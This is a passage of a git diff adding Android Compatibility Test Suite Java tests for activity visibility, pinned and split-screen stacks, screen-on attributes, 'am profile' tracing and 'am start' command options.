+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.StateLogger.log;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.After;
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerActivityVisibilityTests
+ */
+public class ActivityManagerActivityVisibilityTests extends ActivityManagerTestBase {
+    private static final String TRANSLUCENT_ACTIVITY = "AlwaysFocusablePipActivity";
+    private static final String PIP_ON_PIP_ACTIVITY = "LaunchPipOnPipActivity";
+    private static final String TEST_ACTIVITY_NAME = "TestActivity";
+    private static final String TRANSLUCENT_ACTIVITY_NAME = "TranslucentActivity";
+    private static final String DOCKED_ACTIVITY_NAME = "DockedActivity";
+    private static final String TURN_SCREEN_ON_ACTIVITY_NAME = "TurnScreenOnActivity";
+    private static final String MOVE_TASK_TO_BACK_ACTIVITY_NAME = "MoveTaskToBackActivity";
+    private static final String SWIPE_REFRESH_ACTIVITY = "SwipeRefreshActivity";
+
+    private static final String NOHISTORY_ACTIVITY = "NoHistoryActivity";
+    private static final String TURN_SCREEN_ON_ATTR_ACTIVITY_NAME = "TurnScreenOnAttrActivity";
+    private static final String TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME = "TurnScreenOnShowOnLockActivity";
+    private static final String TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME = "TurnScreenOnAttrRemoveAttrActivity";
+    private static final String TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME = "TurnScreenOnSingleTaskActivity";
+    private static final String TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY =
+            "TurnScreenOnWithRelayoutActivity";
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        tearDownLockCredentials();
+    }
+
+    @Presubmit
+    @Test
+    public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
+        if (!supportsPip()) {
+            return;
+        }
+
+        executeShellCommand(getAmStartCmdOverHome(PIP_ON_PIP_ACTIVITY));
+        mAmWmState.waitForValidState(PIP_ON_PIP_ACTIVITY);
+        // NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
+        // translucent activity.
+        final int stackId = mAmWmState.getAmState().getStackIdByActivityName(PIP_ON_PIP_ACTIVITY);
+
+        assertNotEquals(stackId, INVALID_STACK_ID);
+        executeShellCommand(getMoveToPinnedStackCommand(stackId));
+
+        mAmWmState.computeState(new String[] {PIP_ON_PIP_ACTIVITY, TRANSLUCENT_ACTIVITY});
+        mAmWmState.assertFrontStack("Pinned stack must be the front stack.",
+                WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertVisibility(PIP_ON_PIP_ACTIVITY, true);
+        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
+    }
+
+    /**
+     * Asserts that the home activity is visible when a translucent activity is launched in the
+     * fullscreen stack over the home activity.
+     */
+    @Test
+    public void testTranslucentActivityOnTopOfHome() throws Exception {
+        if (!hasHomeScreen()) {
+            return;
+        }
+
+        launchHomeActivity();
+        launchActivity(TRANSLUCENT_ACTIVITY);
+
+        mAmWmState.computeState( new String[]{TRANSLUCENT_ACTIVITY});
+        mAmWmState.assertFrontStack("Fullscreen stack must be the front stack.",
+                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
+        mAmWmState.assertHomeActivityVisible(true);
+    }
+
+    /**
+     * Assert that the home activity is visible if a task that was launched from home is pinned
+     * and also assert the next task in the fullscreen stack isn't visible.
+     */
+    @Presubmit
+    @Test
+    public void testHomeVisibleOnActivityTaskPinned() throws Exception {
+        if (!supportsPip()) {
+            return;
+        }
+
+        launchHomeActivity();
+        launchActivity(TEST_ACTIVITY_NAME);
+        launchHomeActivity();
+        launchActivity(TRANSLUCENT_ACTIVITY);
+        final int stackId = mAmWmState.getAmState().getStackIdByActivityName(TRANSLUCENT_ACTIVITY);
+
+        assertNotEquals(stackId, INVALID_STACK_ID);
+        executeShellCommand(getMoveToPinnedStackCommand(stackId));
+
+        mAmWmState.computeState(new String[]{TRANSLUCENT_ACTIVITY});
+
+        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false);
+        mAmWmState.assertHomeActivityVisible(true);
+    }
+
+    @Test
+    public void testTranslucentActivityOverDockedStack() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
+        mAmWmState.computeState(new String[] {DOCKED_ACTIVITY_NAME});
+        launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        mAmWmState.computeState(new String[] {DOCKED_ACTIVITY_NAME, TEST_ACTIVITY_NAME});
+        launchActivity(TRANSLUCENT_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+                new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+                new WaitForValidActivityState.Builder(DOCKED_ACTIVITY_NAME).build(),
+                new WaitForValidActivityState.Builder(TRANSLUCENT_ACTIVITY_NAME).build());
+        mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertContainsStack("Must contain docked stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
+        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY_NAME, true);
+    }
+
+    @Presubmit
+    @Test
+    public void testTurnScreenOnActivity() throws Exception {
+        sleepDevice();
+        launchActivity(TURN_SCREEN_ON_ACTIVITY_NAME);
+        mAmWmState.computeState(new String[] { TURN_SCREEN_ON_ACTIVITY_NAME });
+        mAmWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY_NAME, true);
+    }
+
+    @Test
+    public void testFinishActivityInNonFocusedStack() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+
+        // Launch two activities in docked stack.
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        getLaunchActivityBuilder().setTargetActivityName(BROADCAST_RECEIVER_ACTIVITY).execute();
+        mAmWmState.computeState(new String[] { BROADCAST_RECEIVER_ACTIVITY });
+        mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
+        // Launch something to fullscreen stack to make it focused.
+        launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+        mAmWmState.computeState(new String[] { TEST_ACTIVITY_NAME });
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
+        // Finish activity in non-focused (docked) stack.
+        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+        mAmWmState.computeState(new String[] { LAUNCHING_ACTIVITY });
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+        mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, false);
+    }
+
+    @Test
+    public void testFinishActivityWithMoveTaskToBackAfterPause() throws Exception {
+        performFinishActivityWithMoveTaskToBack("on_pause");
+    }
+
+    @Test
+    public void testFinishActivityWithMoveTaskToBackAfterStop() throws Exception {
+        performFinishActivityWithMoveTaskToBack("on_stop");
+    }
+
+    private void performFinishActivityWithMoveTaskToBack(String finishPoint) throws Exception {
+        // Make sure home activity is visible.
+        launchHomeActivity();
+        if (hasHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
+
+        // Launch an activity that calls "moveTaskToBack" to finish itself.
+        launchActivity(MOVE_TASK_TO_BACK_ACTIVITY_NAME, "finish_point", finishPoint);
+        mAmWmState.waitForValidState(MOVE_TASK_TO_BACK_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY_NAME, true);
+
+        // Launch a different activity on top.
+        launchActivity(BROADCAST_RECEIVER_ACTIVITY);
+        mAmWmState.waitForValidState(BROADCAST_RECEIVER_ACTIVITY);
+        mAmWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
+        mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY_NAME, false);
+        mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
+
+        // Finish the top-most activity.
+        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+        //TODO: BUG: MoveTaskToBackActivity returns to the top of the stack when
+        // BroadcastActivity finishes, so homeActivity is not visible afterwards
+
+        // Home must be visible.
+        if (hasHomeScreen()) {
+            mAmWmState.waitForHomeActivityVisible();
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
+    }
+
+    /**
+     * Asserts that launching between reorder to front activities exhibits the correct backstack
+     * behavior.
+     */
+    @Test
+    public void testReorderToFrontBackstack() throws Exception {
+        // Start with home on top
+        launchHomeActivity();
+        if (hasHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
+
+        // Launch the launching activity to the foreground
+        launchActivity(LAUNCHING_ACTIVITY);
+
+        // Launch the alternate launching activity from launching activity with reorder to front.
+        getLaunchActivityBuilder().setTargetActivityName(ALT_LAUNCHING_ACTIVITY)
+                .setReorderToFront(true).execute();
+
+        // Launch the launching activity from the alternate launching activity with reorder to
+        // front.
+        getLaunchActivityBuilder().setTargetActivityName(LAUNCHING_ACTIVITY)
+                .setLaunchingActivityName(ALT_LAUNCHING_ACTIVITY).setReorderToFront(true)
+                .execute();
+
+        // Press back
+        pressBackButton();
+
+        mAmWmState.waitForValidState(ALT_LAUNCHING_ACTIVITY);
+
+        // Ensure the alternate launching activity is in focus
+        mAmWmState.assertFocusedActivity("Alt Launching Activity must be focused",
+                ALT_LAUNCHING_ACTIVITY);
+    }
+
+    /**
+     * Asserts that the activity focus and history is preserved moving between the activity and
+     * home stack.
+     */
+    @Test
+    public void testReorderToFrontChangingStack() throws Exception {
+        // Start with home on top
+        launchHomeActivity();
+        if (hasHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
+
+        // Launch the launching activity to the foreground
+        launchActivity(LAUNCHING_ACTIVITY);
+
+        // Launch the alternate launching activity from launching activity with reorder to front.
+        getLaunchActivityBuilder().setTargetActivityName(ALT_LAUNCHING_ACTIVITY)
+                .setReorderToFront(true).execute();
+
+        // Return home
+        launchHomeActivity();
+        if (hasHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
+        // Launch the launching activity from the alternate launching activity with reorder to
+        // front.
+
+        // Bring launching activity back to the foreground
+        launchActivity(LAUNCHING_ACTIVITY);
+        mAmWmState.waitForValidState(LAUNCHING_ACTIVITY);
+
+        // Ensure the alternate launching activity is still in focus.
+        mAmWmState.assertFocusedActivity("Alt Launching Activity must be focused",
+                ALT_LAUNCHING_ACTIVITY);
+
+        pressBackButton();
+
+        mAmWmState.waitForValidState(LAUNCHING_ACTIVITY);
+
+        // Ensure launching activity was brought forward.
+        mAmWmState.assertFocusedActivity("Launching Activity must be focused",
+                LAUNCHING_ACTIVITY);
+    }
+
+    /**
+     * Asserts that a nohistory activity is stopped and removed immediately after a resumed activity
+     * above becomes visible and does not idle.
+     */
+    @Test
+    public void testNoHistoryActivityFinishedResumedActivityNotIdle() throws Exception {
+        if (!hasHomeScreen()) {
+            return;
+        }
+
+        // Start with home on top
+        launchHomeActivity();
+
+        // Launch no history activity
+        launchActivity(NOHISTORY_ACTIVITY);
+
+        // Launch an activity with a swipe refresh layout configured to prevent idle.
+        launchActivity(SWIPE_REFRESH_ACTIVITY);
+
+        pressBackButton();
+        mAmWmState.waitForHomeActivityVisible();
+        mAmWmState.assertHomeActivityVisible(true);
+    }
+
+    @Test
+    public void testTurnScreenOnAttrNoLockScreen() throws Exception {
+        wakeUpAndRemoveLock();
+        sleepDevice();
+        final String logSeparator = clearLogcat();
+        launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
+        mAmWmState.computeState(new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
+        mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, true);
+        assertTrue(isDisplayOn());
+        assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
+    }
+
+    @Test
+    public void testTurnScreenOnAttrWithLockScreen() throws Exception {
+        if (!isHandheld()) {
+            // This test requires the ability to have a lock screen.
+            return;
+        }
+
+        setLockCredential();
+        sleepDevice();
+        final String logSeparator = clearLogcat();
+        launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
+        mAmWmState.computeState(new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
+        assertFalse(isDisplayOn());
+        assertSingleLaunchAndStop(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
+    }
+
+    @Test
+    public void testTurnScreenOnShowOnLockAttr() throws Exception {
+        sleepDevice();
+        mAmWmState.waitForAllStoppedActivities();
+        final String logSeparator = clearLogcat();
+        launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME);
+        mAmWmState.computeState(new String[] { TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME });
+        mAmWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, true);
+        assertTrue(isDisplayOn());
+        assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, logSeparator);
+    }
+
+    @Test
+    public void testTurnScreenOnAttrRemove() throws Exception {
+        sleepDevice();
+        mAmWmState.waitForAllStoppedActivities();
+        String logSeparator = clearLogcat();
+        launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
+        mAmWmState.computeState(new String[] {
+                TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME});
+        assertTrue(isDisplayOn());
+        assertSingleLaunch(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
+
+        sleepDevice();
+        mAmWmState.waitForAllStoppedActivities();
+        logSeparator = clearLogcat();
+        launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
+        assertFalse(isDisplayOn());
+        assertSingleStartAndStop(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
+    }
+
+    @Test
+    @Presubmit
+    public void testTurnScreenOnSingleTask() throws Exception {
+        sleepDevice();
+        String logSeparator = clearLogcat();
+        launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
+        mAmWmState.computeState(new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
+        mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
+        assertTrue(isDisplayOn());
+        assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
+
+        sleepDevice();
+        logSeparator = clearLogcat();
+        launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
+        mAmWmState.computeState(new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
+        mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
+        assertTrue(isDisplayOn());
+        assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
+    }
+
+    @Test
+    public void testTurnScreenOnActivity_withRelayout() throws Exception {
+        sleepDevice();
+        launchActivity(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY);
+        mAmWmState.computeState(new String[] { TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY });
+        mAmWmState.assertVisibility(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, true);
+
+        String logSeparator = clearLogcat();
+        sleepDevice();
+        mAmWmState.waitFor("Waiting for stopped state", () ->
+                lifecycleStopOccurred(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, logSeparator));
+
+        // Ensure there was an actual stop if the waitFor timed out.
+        assertTrue(lifecycleStopOccurred(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, logSeparator));
+        assertFalse(isDisplayOn());
+    }
+
+    private boolean lifecycleStopOccurred(String activityName, String logSeparator) {
+        ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+                logSeparator);
+        return lifecycleCounts.mStopCount > 0;
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
new file mode 100644
index 0000000..57016f4
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.BufferedInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerAmProfileTests
+ *
+ * Please talk to Android Studio team first if you want to modify or delete these tests.
+ */
+public class ActivityManagerAmProfileTests extends ActivityManagerTestBase {
+
+    private static final String TEST_PACKAGE_NAME = "android.server.am.debuggable";
+    private static final String TEST_ACTIVITY_NAME = "DebuggableAppActivity";
+    private static final String OUTPUT_FILE_PATH = "/data/local/tmp/profile.trace";
+    private static String READABLE_FILE_PATH = null;
+    private static final String FIRST_WORD_NO_STREAMING = "*version\n";
+    private static final String FIRST_WORD_STREAMING = "SLOW";  // Magic word set by runtime.
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        setComponentName(TEST_PACKAGE_NAME);
+        READABLE_FILE_PATH = InstrumentationRegistry.getContext().getExternalFilesDir(null).getPath() + "/profile.trace";
+    }
+
+    /**
+     * Test am profile functionality with the following 3 configurable options:
+     *    starting the activity before start profiling? yes;
+     *    sampling-based profiling? no;
+     *    using streaming output mode? no.
+     */
+    @Test
+    public void testAmProfileStartNoSamplingNoStreaming() throws Exception {
+        // am profile start ... , and the same to the following 3 test methods.
+        testProfile(true, false, false);
+    }
+
+    /**
+     * The following tests are similar to testAmProfileStartNoSamplingNoStreaming(),
+     * only different in the three configuration options.
+     */
+    @Test
+    public void testAmProfileStartNoSamplingStreaming() throws Exception {
+        testProfile(true, false, true);
+    }
+    @Test
+    public void testAmProfileStartSamplingNoStreaming() throws Exception {
+        testProfile(true, true, false);
+    }
+    @Test
+    public void testAmProfileStartSamplingStreaming() throws Exception {
+        testProfile(true, true, true);
+    }
+    @Test
+    public void testAmStartStartProfilerNoSamplingNoStreaming() throws Exception {
+        // am start --start-profiler ..., and the same to the following 3 test methods.
+        testProfile(false, false, false);
+    }
+    @Test
+    public void testAmStartStartProfilerNoSamplingStreaming() throws Exception {
+        testProfile(false, false, true);
+    }
+    @Test
+    public void testAmStartStartProfilerSamplingNoStreaming() throws Exception {
+        testProfile(false, true, false);
+    }
+    @Test
+    public void testAmStartStartProfilerSamplingStreaming() throws Exception {
+        testProfile(false, true, true);
+    }
+
+    private void testProfile(boolean startActivityFirst,
+                             boolean sampling, boolean streaming) throws Exception {
+        if (startActivityFirst) {
+            launchActivity(TEST_ACTIVITY_NAME);
+        }
+
+        String cmd = getStartCmd(TEST_ACTIVITY_NAME, startActivityFirst, sampling, streaming);
+        executeShellCommand(cmd);
+        // Go to home screen and then warm start the activity to generate some interesting trace.
+        pressHomeButton();
+        launchActivity(TEST_ACTIVITY_NAME);
+
+        cmd = "am profile stop " + componentName;
+        executeShellCommand(cmd);
+        // Sleep for 0.1 second (100 milliseconds) so the generation of the profiling
+        // file is complete.
+        try {
+            Thread.sleep(100);
+        } catch (InterruptedException e) {
+            //ignored
+        }
+        verifyOutputFileFormat(streaming);
+    }
+
+    private String getStartCmd(String activityName, boolean activityAlreadyStarted,
+                                        boolean sampling, boolean streaming) {
+        StringBuilder builder = new StringBuilder("am");
+        if (activityAlreadyStarted) {
+            builder.append(" profile start");
+        } else {
+            builder.append(String.format(" start -n %s/.%s -W -S --start-profiler %s",
+                                         componentName, activityName, OUTPUT_FILE_PATH));
+        }
+        if (sampling) {
+            builder.append(" --sampling 1000");
+        }
+        if (streaming) {
+            builder.append(" --streaming");
+        }
+        if (activityAlreadyStarted) {
+            builder.append(String.format(" %s %s", componentName, OUTPUT_FILE_PATH));
+        } else {
+
+        }
+        return builder.toString();
+    }
+
+    private void verifyOutputFileFormat(boolean streaming) throws Exception {
+
+        // This is a hack. The am service has to write to /data/local/tmp because it doesn't have
+        // access to the sdcard but the test app can't read there
+        executeShellCommand("mv " + OUTPUT_FILE_PATH + " " + READABLE_FILE_PATH);
+
+        String expectedFirstWord = streaming ? FIRST_WORD_STREAMING : FIRST_WORD_NO_STREAMING;
+        byte[] data = readFileOnClient(READABLE_FILE_PATH);
+        assertTrue("data size=" + data.length, data.length >= expectedFirstWord.length());
+        String actualFirstWord = new String(data, 0, expectedFirstWord.length());
+        assertTrue("Unexpected first word: '" + actualFirstWord + "'",
+                   actualFirstWord.equals(expectedFirstWord));
+        // Clean up.
+        executeShellCommand("rm -f " + OUTPUT_FILE_PATH);
+        executeShellCommand("rm -f " + READABLE_FILE_PATH);
+    }
+
+    private byte[] readFileOnClient(String clientPath) throws Exception {
+        File file = new File(clientPath);
+        assertTrue("File not found on client: " + clientPath, file.isFile());
+        int size = (int) file.length();
+        byte[] bytes = new byte[size];
+        BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
+        buf.read(bytes, 0, bytes.length);
+        buf.close();
+        return bytes;
+    }
+
+    private String[] executeAdbCommand(String command) {
+        String output = executeShellCommand(command);
+        // "".split() returns { "" }, but we want an empty array
+        String[] lines = output.equals("") ? new String[0] : output.split("\n");
+        return lines;
+    }
+
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
new file mode 100644
index 0000000..054e948
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerAmStartOptionsTests
+ */
+public class ActivityManagerAmStartOptionsTests extends ActivityManagerTestBase {
+
+    private static final String TEST_ACTIVITY_NAME = "TestActivity";
+    private static final String ENTRYPOINT_ACTIVITY_NAME = "EntryPointAliasActivity";
+    private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
+
+    @Test
+    public void testDashD() throws Exception {
+        final String activityComponentName =
+                ActivityManagerTestBase.getActivityComponentName(TEST_ACTIVITY_NAME);
+
+        final String[] waitForActivityRecords = new String[] {activityComponentName};
+
+        // Run at least 2 rounds to verify that -D works with an existing process.
+        // -D could fail in this case if the force stop of process is broken.
+        int prevProcId = -1;
+        for (int i = 0; i < 2; i++) {
+            executeShellCommand("am start -n " + getActivityComponentName(TEST_ACTIVITY_NAME) + " -D");
+
+            mAmWmState.waitForDebuggerWindowVisible(waitForActivityRecords);
+            int procId = mAmWmState.getAmState().getActivityProcId(activityComponentName);
+
+            assertTrue("Invalid ProcId.", procId >= 0);
+            if (i > 0) {
+                assertTrue("Run " + i + " didn't start new proc.", prevProcId != procId);
+            }
+            prevProcId = procId;
+        }
+    }
+
+    @Test
+    public void testDashW_Direct() throws Exception {
+        testDashW(SINGLE_TASK_ACTIVITY_NAME, SINGLE_TASK_ACTIVITY_NAME);
+    }
+
+    @Test
+    public void testDashW_Indirect() throws Exception {
+        testDashW(ENTRYPOINT_ACTIVITY_NAME, SINGLE_TASK_ACTIVITY_NAME);
+    }
+
+    private void testDashW(final String entryActivity, final String actualActivity)
+            throws Exception {
+        // Test cold start
+        startActivityAndVerifyResult(entryActivity, actualActivity, true);
+
+        // Test warm start
+        pressHomeButton();
+        startActivityAndVerifyResult(entryActivity, actualActivity, false);
+
+        // Test "hot" start (app already in front)
+        startActivityAndVerifyResult(entryActivity, actualActivity, false);
+    }
+
+    private void startActivityAndVerifyResult(final String entryActivity,
+            final String actualActivity, boolean shouldStart) throws Exception {
+        // See TODO below
+        // final String logSeparator = clearLogcat();
+
+        // Pass in different data only when cold starting. This is to make the intent
+        // different in subsequent warm/hot launches, so that the entrypoint alias
+        // activity is always started, but the actual activity is not started again
+        // because of the NEW_TASK and singleTask flags.
+        final String result = executeShellCommand("am start -n " + getActivityComponentName(entryActivity) + " -W"
+                + (shouldStart ? " -d about:blank" : ""));
+
+        // Verify shell command return value
+        verifyShellOutput(result, actualActivity, shouldStart);
+
+        // TODO: Disable logcat check for now.
+        // Logcat of WM or AM tag could be lost (eg. chatty if earlier events generated
+        // too many lines), and make the test look flaky. We need to either use event
+        // log or swith to other mechanisms. Only verify shell output for now, it should
+        // still catch most failures.
+
+        // Verify adb logcat log
+        //verifyLogcat(actualActivity, shouldStart, logSeparator);
+    }
+
+    private static final Pattern sNotStartedWarningPattern = Pattern.compile(
+            "Warning: Activity not started(.*)");
+    private static final Pattern sStatusPattern = Pattern.compile(
+            "Status: (.*)");
+    private static final Pattern sActivityPattern = Pattern.compile(
+            "Activity: (.*)");
+    private static final String sStatusOk = "ok";
+
+    private void verifyShellOutput(
+            final String result, final String activity, boolean shouldStart) {
+        boolean warningFound = false;
+        String status = null;
+        String reportedActivity = null;
+        String componentActivityName = getActivityComponentName(activity);
+
+        final String[] lines = result.split("\\n");
+        // Going from the end of logs to beginning in case if some other activity is started first.
+        for (int i = lines.length - 1; i >= 0; i--) {
+            final String line = lines[i].trim();
+            Matcher matcher = sNotStartedWarningPattern.matcher(line);
+            if (matcher.matches()) {
+                warningFound = true;
+                continue;
+            }
+            matcher = sStatusPattern.matcher(line);
+            if (matcher.matches()) {
+                status = matcher.group(1);
+                continue;
+            }
+            matcher = sActivityPattern.matcher(line);
+            if (matcher.matches()) {
+                reportedActivity = matcher.group(1);
+                continue;
+            }
+        }
+
+        assertTrue("Status " + status + " is not ok", sStatusOk.equals(status));
+        assertTrue("Reported activity is " + reportedActivity + " not " + componentActivityName,
+                componentActivityName.equals(reportedActivity));
+
+        if (shouldStart && warningFound) {
+            fail("Should start new activity but brought something to front.");
+        } else if (!shouldStart && !warningFound){
+            fail("Should bring existing activity to front but started new activity.");
+        }
+    }
+
+    private static final Pattern sDisplayTimePattern =
+            Pattern.compile("(.+): Displayed (.*): (\\+{0,1})([0-9]+)ms(.*)");
+
+    void verifyLogcat(String actualActivityName, boolean shouldStart, String logSeparator) {
+        int displayCount = 0;
+        String activityName = null;
+
